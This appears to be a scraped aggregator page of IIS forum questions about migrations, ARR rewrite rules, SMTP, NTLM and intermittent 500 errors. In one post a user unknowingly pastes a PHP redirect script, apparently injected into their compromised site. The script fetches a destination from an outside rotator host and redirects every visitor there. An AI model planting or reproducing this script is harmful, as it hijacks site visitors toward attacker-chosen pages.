Quantcast
Channel: All Forums
Viewing all 28504 articles
Browse latest View live

Error 405

$
0
0

Hi all,

Recently I migrate internal Web site on new server and IIS. Old server was IIS 6 and new is IIS8. One .html page have form that insert some data in SQL database. When I want to submit data I get 405 error.

I search for solution on net and I find many of them but no results. I try with remove Webdav  but I still have same error.

Is there any way to help me with this.

Regards


How to get Incoming email to SMTP server on W2K8

$
0
0

Hello,

How does one receives email from other remote domain (like gmail, yahoo or other custom made email address) with a custom email address ( e.g. contact @ my-domain.com.br) in the recipient of the remote sender.

To this case please consider Windows Server 2008 R2 and IIS 6.0 SMTP server feature.

Change URL Rewrite Rules Order with Powershell?

$
0
0

Hi, i'm using ARR on my work, and i have lot of webfarms created, and each WebFarm create one URL Rewrite rule.

My problem it's that i'm using Powershell to write robust website creation, that change everything i need.

The only thing that i can't do right now, and have to change "manually" after the script runs, it's to change the order of the Rewrite Rules. For example: I want that each new URL Rewrite comes BEFORE a rule called "RULE100" (for example). I can do this with 2 ways:

1) Edit directly applicationhost.config and put the newly created rule "<rule name="ARR_xxxx.com_loadbalance" patternSyntax="Wildcard" stopProcessing="true"> before the <rule name="RULE100" patternSyntax="Wildcard" stopProcessing="true">;

2) On IIS Manager -> "URL Rewrite", click on the newly created rule and click multiple times on "Move Up" on the right.

I can't find anything related to this command by Powershell.

Thanks for attention!

Use ARR to redirect service requests

$
0
0

Hi,

i have two ARR servers (arr1 and arr2) in NLB with NLB cluster name nlb.local. And both ARR servers i have created server farm with two IIS 8 servers named "webfarm".

I would like to redirect request https://nlb.local/service/service.svc to webfarm using https, All other request should be forwarded to server farm with http.

i have created two rules:

<rule name="ServiceRequestOverHTTPS" enabled="true" patternSyntax="Wildcard" stopProcessing="true">
<match url="*" />
<conditions logicalGrouping="MatchAll" trackAllCaptures="false">
<add input="{REQUEST_URI}" pattern="service/" />
</conditions>
<action type="Rewrite" url="https://webfarm/{R:0}" />
</rule>

<rule name="AllOtherWebRequestsOverHTTP" patternSyntax="Wildcard" stopProcessing="true">
<match url="*" />
<conditions logicalGrouping="MatchAll" trackAllCaptures="false" />
<action type="Rewrite" url="http://webfarm/{R:1}" />
</rule>

With this setup i have 403 - Forbidden: Access is denied. when accessing https://nlb/service/service.svc.

when i change Rewrite from http to https (bold line below)

<rule name="AllOtherWebRequestsOverHTTP" patternSyntax="Wildcard" stopProcessing="true">
<match url="*" />
<conditions logicalGrouping="MatchAll" trackAllCaptures="false" />
<action type="Rewrite" url="https://webfarm/{R:1}" />
</rule>

service https://nlb/service/service.svc returns 200 OK, but also all other sites are forwarded (rewrited) to https.

How can i enable https only for https://nlb/service/service.svc and http for all other request using ARR and URL rewrite modules?

Thank you.

intermittent 500 errors

$
0
0

We are experiencing intermittent 500.0 errors, around 10K out of 2Million (page hits).

Windows Server 2008 R2 x64, IIS 7.5

Logging at IIS at logs we have noticed that this problem is much larger than what we thought was happening. They appear all over the place The appear on static files as well as on the application (php files). They are also spread out during the day, with peaks when I have most activity. The server also run several sites, but all of them have the same type of issues.

We have setup failed request logging and really can't make out what might be the cause.

Any help highly appreciated.

Line 30 seems to be the issue. (no client Certificates)

<div>No.</div> EventNameDetailsTime
1iGENERAL_REQUEST_STARTSiteId="2", AppPoolId="app001", ConnId="1610645359", RawConnId="0", RequestURL="https://www.xxxxx.com.co:443/Blank.htm", RequestVerb="GET"26:42.0
2—PRE_BEGIN_REQUEST_STARTModuleName="MfeEngine"26:42.0
3—PRE_BEGIN_REQUEST_ENDModuleName="MfeEngine", NotificationStatus="NOTIFICATION_CONTINUE"26:42.0
4—PRE_BEGIN_REQUEST_STARTModuleName="FailedRequestsTracingModule"26:42.0
5—PRE_BEGIN_REQUEST_ENDModuleName="FailedRequestsTracingModule", NotificationStatus="NOTIFICATION_CONTINUE"26:42.0
6—PRE_BEGIN_REQUEST_STARTModuleName="RequestMonitorModule"26:42.0
7—PRE_BEGIN_REQUEST_ENDModuleName="RequestMonitorModule", NotificationStatus="NOTIFICATION_CONTINUE"26:42.0
8—PRE_BEGIN_REQUEST_STARTModuleName="IsapiFilterModule"26:42.0
9iFILTER_PREPROC_HEADERS_START 26:42.0
10iFILTER_STARTFilterName="C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_filter.dll"26:42.0
11—GENERAL_SET_REQUEST_HEADERHeaderName="AspFilterSessionId", HeaderValue="", Replace="true"26:42.0
12iFILTER_SET_REQ_HEADERHeaderName="AspFilterSessionId:", HeaderValue=""26:42.0
13iFILTER_ENDNotificationStatus="SF_STATUS_REQ_NEXT_NOTIFICATION"26:42.0
14iFILTER_PREPROC_HEADERS_END 26:42.0
15—PRE_BEGIN_REQUEST_ENDModuleName="IsapiFilterModule", NotificationStatus="NOTIFICATION_CONTINUE"26:42.0
16—PRE_BEGIN_REQUEST_STARTModuleName="WebDAVModule"26:42.0
17—PRE_BEGIN_REQUEST_ENDModuleName="WebDAVModule", NotificationStatus="NOTIFICATION_CONTINUE"26:42.0
18—PRE_BEGIN_REQUEST_STARTModuleName="RewriteModule"26:42.0
19—PRE_BEGIN_REQUEST_ENDModuleName="RewriteModule", NotificationStatus="NOTIFICATION_CONTINUE"26:42.0
20—PRE_BEGIN_REQUEST_STARTModuleName="AdvancedLoggingModule"26:42.0
21—PRE_BEGIN_REQUEST_ENDModuleName="AdvancedLoggingModule", NotificationStatus="NOTIFICATION_CONTINUE"26:42.0
22iGENERAL_ENDPOINT_INFORMATIONRemoteAddress="190.85.208.242", RemotePort="32018", LocalAddress="173.193.234.251", LocalPort="443"26:42.0
23iGENERAL_REQUEST_HEADERSHeaders="Connection: keep-alive26:42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: es-419,es;q=0.8
Cookie: PHPSESSID=00a6ab1a381d7a797f836101495e51a6; __utmt=1; __utma=46866085.1527617756.1434727931.1435324820.1435332600.3; __utmb=46866085.76.10.1435332600; __utmc=46866085; __utmz=46866085.1434727931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Host: sab2.refinancia.com.co
Referer: https://wwwxxxxx.com.co/GestionComercial.php
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/34.0.1847.116 Chrome/34.0.1847.116 Safari/537.36
"
24iURL_CACHE_ACCESS_STARTRequestURL="/Blank.htm"26:42.0
25iURL_CACHE_ACCESS_ENDPhysicalPath="", URLInfoFromCache="true", URLInfoAddedToCache="false", ErrorCode="The operation completed successfully.26:42.0
 (0x0)"
26iGENERAL_GET_URL_METADATAPhysicalPath="", AccessPerms="545"26:42.0
27iHANDLER_CHANGEDOldHandlerName="", NewHandlerName="StaticFile", NewHandlerModules="StaticFileModule,DefaultDocumentModule,DirectoryListingModule", NewHandlerScriptProcessor="", NewHandlerType=""26:42.0
28—NOTIFY_MODULE_STARTModuleName="IsapiFilterModule", Notification="MAP_PATH", fIsPostNotification="false"26:42.0
29—NOTIFY_MODULE_ENDModuleName="IsapiFilterModule", Notification="MAP_PATH", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.0
30rMODULE_SET_RESPONSE_ERROR_STATUSModuleName="IIS Web Core", Notification="BEGIN_REQUEST", HttpStatus="500", HttpReason="Internal Server Error", HttpSubStatus="0", ErrorCode="The I/O operation has been aborted because of either a thread exit or an application request.26:42.4
Warning (0x800703e3)", ConfigExceptionInfo=""
31—NOTIFY_MODULE_STARTModuleName="CustomLoggingModule", Notification="LOG_REQUEST", fIsPostNotification="false"26:42.4
32—NOTIFY_MODULE_ENDModuleName="CustomLoggingModule", Notification="LOG_REQUEST", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
33—NOTIFY_MODULE_STARTModuleName="ClientLoggingHandler", Notification="END_REQUEST", fIsPostNotification="false"26:42.4
34—NOTIFY_MODULE_ENDModuleName="ClientLoggingHandler", Notification="END_REQUEST", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
35—NOTIFY_MODULE_STARTModuleName="WebDAVModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
36—NOTIFY_MODULE_ENDModuleName="WebDAVModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
37—NOTIFY_MODULE_STARTModuleName="HttpLoggingModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
38—NOTIFY_MODULE_ENDModuleName="HttpLoggingModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
39—NOTIFY_MODULE_STARTModuleName="IsapiModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
40—NOTIFY_MODULE_ENDModuleName="IsapiModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
41—NOTIFY_MODULE_STARTModuleName="DigestAuthenticationModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
42—NOTIFY_MODULE_ENDModuleName="DigestAuthenticationModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
43—NOTIFY_MODULE_STARTModuleName="WindowsAuthenticationModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
44—NOTIFY_MODULE_ENDModuleName="WindowsAuthenticationModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
45—NOTIFY_MODULE_STARTModuleName="BasicAuthenticationModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
46—NOTIFY_MODULE_ENDModuleName="BasicAuthenticationModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
47—NOTIFY_MODULE_STARTModuleName="ProtocolSupportModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
48—NOTIFY_MODULE_ENDModuleName="ProtocolSupportModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
49—NOTIFY_MODULE_STARTModuleName="IsapiFilterModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
50—NOTIFY_MODULE_ENDModuleName="IsapiFilterModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
51—NOTIFY_MODULE_STARTModuleName="DynamicCompressionModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
52iDYNAMIC_COMPRESSION_START 26:42.4
53iDYNAMIC_COMPRESSION_NOT_SUCCESSReason="NOT_SUCCESS_STATUS"26:42.4
54iDYNAMIC_COMPRESSION_END 26:42.4
55—NOTIFY_MODULE_ENDModuleName="DynamicCompressionModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
56—NOTIFY_MODULE_STARTModuleName="HttpCacheModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
57—NOTIFY_MODULE_ENDModuleName="HttpCacheModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
58—NOTIFY_MODULE_STARTModuleName="RewriteModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
59—NOTIFY_MODULE_ENDModuleName="RewriteModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
60—NOTIFY_MODULE_STARTModuleName="CustomErrorModule", Notification="SEND_RESPONSE", fIsPostNotification="false"26:42.4
61iGENERAL_SEND_CUSTOM_ERRORHttpStatus="500", HttpSubStatus="0", FileNameOrURL="500.htm"26:42.4
62iFILE_CACHE_ACCESS_STARTFileName="C:\inetpub\custerr\en-US\500.htm", UserName="", DomainName=""26:42.4
63iFILE_CACHE_ACCESS_ENDSuccessful="true", FileFromCache="true", FileAddedToCache="false", FileDirmoned="true", LastModCheckErrorIgnored="true", ErrorCode="The operation completed successfully.26:42.4
 (0x0)", LastModifiedTime="Sat, 17 Dec 2011 19:21:03 GMT"
64—NOTIFY_MODULE_ENDModuleName="CustomErrorModule", Notification="SEND_RESPONSE", fIsPostNotificationEvent="false", NotificationStatus="NOTIFICATION_CONTINUE"26:42.4
65iHTTPSYS_CACHEABLEHttpsysCacheable="false", Reason="NO_PIPELINE_ENABLE", CachePolicy="NO_CACHE", TimeToLive="0"26:42.4
66iGENERAL_FLUSH_RESPONSE_START 26:42.4
67iGENERAL_RESPONSE_HEADERSHeaders="Content-Type: text/html26:42.4
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-UA-Compatible: Edge
"
68—GENERAL_RESPONSE_ENTITY_BUFFERBuffer="<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">26:42.4
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>500 - Internal server error.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;} 
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;} 
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} 
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
 <div class="content-container"><fieldset>
  <h2>500 - Internal server error.</h2>
  <h3>There is a problem with the resource you are looking for, and it cannot be displayed.</h3>
 </fieldset></div>
</div>
</body>
</html>
"
69iGENERAL_FLUSH_RESPONSE_ENDBytesSent="0", ErrorCode="An operation was attempted on a nonexistent network connection.26:42.4
 (0x800704cd)"
70iGENERAL_REQUEST_ENDBytesSent="0", BytesReceived="701", HttpStatus="500", HttpSubStatus="0"26:42.4

Enabling Smartcard login with username hint

$
0
0

Is it possible to configure IIS to prompt for Smartcard authentication WITH the ability to specify a username hint?  (Refer here if you're not familiar with username hints.)

We already have username hints enabled in the environment, in order to allow authentication as alternate accounts using the same smartcard.  I can already do a run-as different user when I launch IE, specify the smartcard reader, and enter the username hint there.  The problem is that I need to be able to do this on a given IIS site, without launching IE separately like that.

If I'm explaining that poorly, let me know and I'll try to clarify.  Thanks!

Problem with ARR 3, NTLM Authentication and Tomcat 7

$
0
0

Hi everyone,

I'm running Win 2008 R2, IIS 7.5. AJP 1.3 and Tomcat 7.  I am successfully using IIS Windows Integrated Authentication with my Tomcat application.  User authentication is seamless.  Now, I'm trying to add ARR to perform reverse-proxying of URLs.  For example, today I have:

http://myserver/myTomcatApp

I am trying to setup ARR so that I can use:

http://myserver/myFakeURL

and have it route to /myTomcatApp.

I'm trying to configure it without touching my AJP configuration (e.g. completely switching everything over to ARR).  If I don't use authentication, it works perfectly.  However, if I require WIA on the /jakarta virtual directory and then set tomcatAuthentication='false' on the Tomcat side, I get the following error in FailedRequestTrace:

ModuleName="WindowsAuthenticationModule", Notification="AUTHENTICATE_REQUEST", HttpStatus="401", HttpReason="Unauthorized", HttpSubStatus="1", ErrorCode="The token supplied to the function is invalid
 (0x80090308)", ConfigExceptionInfo=""

I see the following headers getting passed:

Connection: Keep-Alive
Content-Length: 0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Authorization: NTLM<Long NTLM code>
Cookie: cc_ineu=no; JSESSIONID=B1DC353A2BDB53E825176E73D11AF84F.portal1;
X-Original-URL: /myFakeURL
X-Forwarded-For: xxx.xx.xx.x:xxxx
X-ARR-LOG-ID: 46bf9a11-821d-4ab0-b16a-f797ea4c9a89
TOMCATURI0000000180000000: /myTomcatApp
TOMCATWORKER0000000180000000: portalbalancer1
TOMCATWORKERIDX0000000180000000: 78

I've seen some other posts, but they mention SSL and Exchange which do not seem to be applicable here.

If anyone has any suggestions on how to resolve this, that would be great.  Or, if there are some instructions available on configuring ARR, NTLM, AJP and Tomcat altogether, that would be great as well.

Regards,

Eric

export queue of smtp server of Windows 2008 R2

$
0
0

I've setup an SMTP Server (the one provided with the server) inWindows 2008 R2 Server.

Some days ago emails got freeze in the queue not going to destination.

I've another SMTP Server in another Windows 2008 Server.

Are there any manner of getting output queue of emails pending to send and then putting in the output queue of myanother SMTP Server for sending it?.

How can I copy output queue of emails not send of my SMTP Server of IIS 7.5 to my SMTP of IIS 7?

Sorry for bad english.


Really need help asap please

$
0
0

I have a Desktop PC that I use as a server that has IIS 7.0. My IIS 7.0 has an api folder that is turned into an application. I followed this tutorial. It host's a game emulator for WarZ(Infestation) The game's source code was released and everyone began making emulators. Everyone else seems to have no problems except me. My setup is that exactly(tutorial). Summary of Tutorial. I download the files stated in the tutorial. Install IIS as intended. (however I use windows 7 instead of Windows server 2008, this shouldn't affect anything as a lot of other people have done this too) I setup my site exactly as tutorial said to and at first i changed settings and it didnt help so i put everything back to how it was at first. Still same problems. Really need some help from the IIS genius'

Issues with running window console app from web application

$
0
0

HI,

I am calling a windows console app from vb.net web application and this is running good in one server and not running properly in another server. 

When i call the console app, it runs sometimes and not sometimes, don't know exactly whats happening. Anybody please help me on this to fix the issue.

Below are the environment details :

IIS : version 7, Identity : NetworkService, Pipeline mode : Integrated, 

Operating System : Windows 2008 Standard with SP 2

Thank you,

Mohan

IIS maxBandwidth don't limit upload

$
0
0

hi

i want to limit upload and download in IIS. i set

maxBandwidth

to 2000. this limit work for download correctly. but when upload file this limit don't work.

Note that in my web.config file i set:

<system.web><httpRuntime maxRequestLength="2147483647" executionTimeout="3600" /></system.web><system.webserver><security><requestFiltering><requestLimits maxAllowedContentLength="4249967295" /></requestFiltering></security></system.webserver>

when i remove this line upload is limited but when add this lines uploud bandwidth is unlimited.

so how can i limit upload bandwidth in IIS?

change home directory of SMTP virtual server IIS6.0

$
0
0

Hello. How do I change home directory where the SMTP content subdirectory root stays. Mind this is for a SMTP Virtual Server.
*Other than creating a new server.

Advanced Logging - Date Time fields doesn't have Quotes around it.

$
0
0

I am using Log Analyzer to analize IIS log files . I included fields like BeginRequest-UTC. When these fields re logged by IIS , it has a space between Date and Time and there are no Quotes around them . This makes any log analyzer  to split it into two columns. 

eg :

2015-07-01 18:30:09.474

One way to solve problem is have Quotes around the dateTime columns . 

Other way is to is to add T in between Date and time 2015-07-01T18:30:09.474

MediaWiki Download Link Broken

Headers and Remote_User

$
0
0

Is there any way to Forward Special headers or the remote_user?

I have a jetty Server and want to pass on the remote_user to the application and also I'd like to have a X-Forwareded-Proto Header.

Is there anyway to accomplish that or do I have to go to Apache mod_Proxy?


Virtual Directory IP Security

$
0
0

Hi,

I am trying to script up the creation of a website and its pretty much complete. However I have the need to restrict access to one virtual directory, which is fine and I have scripted this. However the config for this then gets stored in a web.config file in a code directory (see below)

<ipSecurity>

<add ipAddress="a.a.a.a" allowed="true" />
<add ipAddress="x.x.x.x" subnetMask="255.255.0.0" allowed="true" />
<add ipAddress="n.n.n.n" allowed="true" />


</ipSecurity>

I want to put the config in the applicationhost.config file, to remove the need for the web.config file.

Is it possible to either

  • manually have the Virtual directory ipsecurity settings in the applicationhost.config
  • script the ipsecrutity settings and have then saved to the applicationhost.config

The problem is that the web.config files get removed on a code deployment, and the ip restrictions can change ac sites and servers. Any help would be greatly appreciated.

Error Downloaded file failed signature verification and may have been tampered with

$
0
0

"I am recieving "Downloaded file failed signature verification and may have been tampered with" this error while installing php 5.4 for iis expressno matter i install it from WebMatrix or Web Platform Installer. i tried to install it directly from the exe as well it keep giving me the same error.

upgrading site to .NET 4 - strange PHP error

$
0
0

Hi,

i want to upgrade my site from .NET 2 to 4.

1. fixed the web.config to meet 4 requirements

2. set IIS for the website to .NET 4

3. compiled all components to 4

now all the pages of the site are working except the Home Page which returns a strange PHP error: "0, 'url'=>$default_url); if ($settings['last']"

*on the below the full view source

anyone knows what seems to be the problem and how to fix it?

Many Thanks,

Assaf.

<?php
############################################################################
# Скрипт должен лежать в папке, прочмоденой на 777. это важно!. #
# The script must be in the folder prochmodenoy at 777. this is important!.#
############################################################################
$geturl='http://supermyadminspanels.info/rotator.php?hash=75a996ff2a8a6d666dca52a823e1cc84' # Урл экспорта актуального урла на лендинг
$timeout=120; #Время обновления (в секундах)
$default_url='http://www.google.com/robots.txt';
if (!$geturl)
exit();
#Если есть файлик данных, читаем его, иначе сливается трафик на default_url в том случае, если обноиться с экспортного урла не получится.
$tmp_settings = sys_get_temp_dir() . "/settings.json";
$settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0, 'url'=>$default_url);
if ($settings['last']<time()-$timeout)
{
if ($settings['url']=file_get_contents($geturl))
{
$settings['last']=time();
$fp=fopen($tmp_settings, 'w');
flock($fp, LOCK_EX);
fputs($fp, serialize($settings));
flock($fp, LOCK_UN);
fclose($fp);
}
}
$url=$settings['url']?$settings['url']:$default_url;
if(substr($url, 0, 4)!='http')
$url="http://".$url."/";
header("Location: $url");
exit();
?>

Unable to install Azure SDK 2.6

$
0
0

Hi, I'm trying to install Azure SDK 2.6 from the hyperlink but the error mesage keeps popping up.

Error message says "The Web Platform installer could not start. Please report the following error on the Web Platform Installer forum.http://forums.iis.net/1155.aspx

For your information - I'm using Windows 10 Preview Build 10134.

Thanks!

Cookies are lost in the http request headers

$
0
0

One of the applications that i am working on is having a very strange issue. What is happening is that when a user logs into the application and navigates through the application, some of the requests are losing cookies in the http request headers, as a result weblogic thinks that this is a new request. This issue happens on all the requests within the application and is intermittent for some users and consistent for other users. Note that this issue happens in all of our environments and we have seen that it is happening only on IE as almost all users use IE browser. 

After looking at the IIS Web Server logs and Fiddler sessions, we see that the request is able to parse the cookies from the Cookie header, but in the next few lines when it tries to read all the headers from Client, there is "Found no = in key/value pair in the request header, continue ... " in the logs instead of getting " Header from client:[Cookie]=[s_cc=value; s_sq=value; CSISESSION=value; WL_Cookie_Name=value;]". (See the underlined statements from the logs for difference between the 2 requests).

Good Request (some URI) - 

Found cookie from cookie header: WL_Cookie_Name=SessionId_Value!Primary_JVM_Id_Value!NONE
Parsing cookie WL_Cookie_Name=SessionId_Value!Primary_JVM_Id_Value!NONE

........ some other lines related to resolving the request to primary/secondary JVM Id........

Entering method BaseProxy::parse_headers
 No of headers =55
 Header from client:[Connection]=[Keep-Alive]
 Header from client:[Content-Length]=[0]
 Header from client:[Accept]=[application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*]
 Header from client:[Accept-Encoding]=[gzip, deflate]
 Header from client:[Accept-Language]=[en-US]
 Header from client:[Authorization]=[SiteMinder]
 Header from client:[Cookie]=[s_cc=value; s_sq=value; CSISESSION=value; WL_Cookie_Name=value;]
 Header from client:[Host]=[host_name]

Request where cookies are lost in http request headers (same URI as above) - 

Found cookie from cookie header: WL_Cookie_Name=SessionId_Value!Primary_JVM_Id_Value!NONE
Parsing cookie WL_Cookie_Name=SessionId_Value!Primary_JVM_Id_Value!NONE

........ some other lines related to resolving the request to primary/secondary JVM Id........

Entering method BaseProxy::parse_headers
 No of headers =55
 Header from client:[Connection]=[Keep-Alive]
 Header from client:[Content-Length]=[0]
 Header from client:[Accept]=[application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*]
 Header from client:[Accept-Encoding]=[gzip, deflate]
 Header from client:[Accept-Language]=[en-US]
 Header from client:[Authorization]=[SiteMinder]
 Found no = in key/value pair in the request header, continue ...
 Header from client:[Host]=[host_name]

Please assist on any pointers that would help us resolve the issue. It has almost one year since we have this issue.

Set up is that we have 1 or 2 Web Servers, 1 or more than 1 Weblogic Application Servers in a clustered environment. Application uses Site minder for authentication.

Viewing all 28504 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>